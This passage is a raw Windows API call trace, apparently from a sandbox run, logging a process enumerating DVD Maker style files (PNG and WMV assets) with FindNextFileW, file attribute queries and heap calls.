lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0067.017] GetLastError () returned 0x12 [0067.017] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.017] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa89306e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa198102e, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.017] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-static.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x33b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-border.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-highlight.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722fdb01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722fdb01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6dc875, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-imageMask.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722d79a4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722d79a4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea22689, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x643e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_frame-shadow.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-backglow.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724eccba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724eccba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1f0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-border.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724c6b5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724c6b5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1146, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_image-frame-ImageMask.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0067.018] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0067.018] GetLastError () returned 0x12 [0067.018] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8950) returned 1 [0067.018] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.019] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.019] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee00a15, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x4ee00a15, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_buttongraphic.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8601df, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8601df, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1274, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e88633c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e88633c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1266, dwReserved0=0x0, dwReserved1=0x0, cFileName="photoedge_videoinset.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efaa4ac, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efaa4ac, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x59b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efd0609, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6efd0609, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Postage_VideoInset.png", cAlternateFileName="")) returned 1 [0067.019] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Push", cAlternateFileName="")) returned 1 [0067.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.019] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0067.020] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcb318 [0067.020] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcb318, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcb318, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcb318) returned 1 [0067.020] NtClose (Handle=0x198) returned 0x0 [0067.020] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8950 [0067.020] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0067.072] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.072] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f316407, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f316407, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.072] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.073] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.073] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 